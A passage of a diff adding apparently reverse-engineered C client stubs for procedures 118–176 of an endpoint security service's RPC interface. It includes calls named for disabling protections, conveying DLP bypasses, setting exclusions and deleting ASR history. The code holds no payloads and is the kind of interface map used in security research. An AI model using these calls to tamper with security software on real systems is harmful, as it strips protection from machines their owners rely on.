/* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 118, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc119_ServerMpRpcSampleHeaderQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 119, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc120_ServerMpRpcSampleHeaderQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 120, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc121_ServerMpRpcSampleHeaderQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 121, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc122_ServerMpRpcSampleHeaderClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 122, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc123_ServerMpRpcSampleHeaderGetSampleDetails( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2798_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 123, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc124_ServerMpRpcGetSampleChunk( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ unsigned char **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 124, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc125_ServerMpRpcConveySampleSubmissionResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_2854_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 125, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc126_ServerMpRpcGetSampleListRequiringConsent( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_2900_t ***arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 126, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc127_ServerMpRpcConveyUserChoiceForSampleList( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_2900_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 127, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc128_ServerMpRpcGetRunningMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 128, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc129_ServerMpRpcIsGivenRunningModeSupported( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 129, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc130_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 130, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc131_ServerMpDisableXBGM( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 131, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc132_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 132, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3040_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 133, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_3040_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 134, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc135_ServerMpOnDemandStartScan2( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [in] */ long arg_7, + /* [out] */ struct Struct_16_t *arg_8, + /* [context_handle][out] */ void **arg_9, + /* [out] */ error_status_t *arg_10) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 135, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9, + arg_10); + return ( long )_RetVal.Simple; + +} + + +long Proc136_ServerMpQueryDefaultFolderGuardList( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 136, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc137_ServerMpRpcTriggerStatusRefreshNotification( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 137, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc138_ServerMpRpcGetHIPSRuleInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_3108_t ***arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 138, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc139_ServerMpEnableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 139, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc140_ServerMpDisableSmartLocker( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 140, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc141_ServerMpXBGMUpdateIV( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][in] */ unsigned char *arg_2, + /* [in] */ hyper arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 141, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc142_ServerMpFlushLowfiCache( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 142, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc143_ServerMpRpcGetAsrBlockedProcesses( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ long *arg_3, + /* [size_is][size_is][ref][out] */ struct Struct_3166_t ***arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 143, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc144_ServerMpRpcGetAsrBlockedActions( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3220_t ***arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 144, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc145_ServerMpRpcDeleteAsrHistory( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 145, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc146_ServerMpGetTaskSchedulerStrings( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_3280_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 146, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc147_ServerMpRpcGetAsrBlockedActionInfos( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ struct Struct_3302_t ***arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 147, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc148_ServerMpRpcGetTPStateInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_3350_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 148, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc149_ServerMpRpcSetTPState( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 149, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc150_ServerMpRpcUpdateDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 150, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc151_ServerMpRpcGetDevMode( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 151, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc152_ServerMpUpdateBreakTheGlassStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 152, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc153_ServerMpNetworkCapture( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 153, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc154_ServerMpConveyDlpBypass( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 154, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc155_ServerDlpMpCheckAccessForPrintOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ long *arg_7, + /* [out] */ error_status_t *arg_8) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 155, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8); + return ( long )_RetVal.Simple; + +} + + +long Proc156_ServerDlpMpConveyNewPrinterConnection( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 156, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc157_ServerMpShowDlpDetailsDialog( + /* [in] */ handle_t IDL_handle, + /* [string][unique][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 157, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc158_ServerMpRpcGetDlpEvents( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_3370_t ***arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 158, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc159_ServerMpRpcConveyUserChoiceForDlpNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [in] */ long arg_4, + /* [string][unique][in] */ wchar_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ error_status_t *arg_7) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 159, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7); + return ( long )_RetVal.Simple; + +} + + +long Proc160_ServerMpRpcChangeCapability( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 160, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc161_ServerMpRpcMpThreatAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_3570_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 161, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc162_ServerMpRpcAsrSetHipsUserExclusion( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [string][unique][in] */ wchar_t *arg_7, + /* [string][unique][in] */ wchar_t *arg_8, + /* [string][unique][in] */ wchar_t *arg_9, + /* [out] */ error_status_t *arg_10) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 162, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9, + arg_10); + return ( long )_RetVal.Simple; + +} + + +long Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ long *arg_5, + /* [out] */ long *arg_6, + /* [out] */ error_status_t *arg_7) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 163, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7); + return ( long )_RetVal.Simple; + +} + + +long Proc164_ServerMpRpcQueryConfigProtection( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ long *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 164, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc165_ServerMpRpcCheckAccessForDragDropOperation( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [in] */ hyper arg_5, + /* [in] */ long arg_6, + /* [size_is][unique][in] */ unsigned char *arg_7, + /* [out] */ long *arg_8, + /* [out] */ error_status_t *arg_9) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 165, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8, + arg_9); + return ( long )_RetVal.Simple; + +} + + +long Proc166_ServerMpRpcUpdateBrowserActiveTab( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 166, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc167_ServerMpRpcSendBrowserHeartbeat( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ hyper arg_3, + /* [in] */ long arg_4, + /* [out] */ hyper *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 167, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc168_ServerMpRpcGetThreatExecutionInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_3654_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 168, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc169_ServerMpRpcReportClipboardOwner( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 169, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc170_ServerMpRpcDlpDelegateEnforcement( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 170, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ struct Struct_3370_t **arg_2, + /* [in] */ long arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [in] */ long arg_5, + /* [string][unique][in] */ wchar_t *arg_6, + /* [in] */ long arg_7, + /* [out] */ error_status_t *arg_8) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 171, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7, + arg_8); + return ( long )_RetVal.Simple; + +} + + +long Proc172_ServerMpRpcSendDeviceControlToast( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][unique][in] */ wchar_t *arg_2, + /* [string][unique][in] */ wchar_t *arg_3, + /* [string][unique][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 172, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc173_ServerMpRpcIsDeviceControlAvailable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 173, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc174_ServerMpRpcGetFCValue( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 174, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc175_ServerMpRpcSetDriverUnloadInProgress( + /* [in] */ handle_t IDL_handle, + /* [in] */ unsigned char arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 175, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc176_ServerMpRpcUpdateTSMode( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* 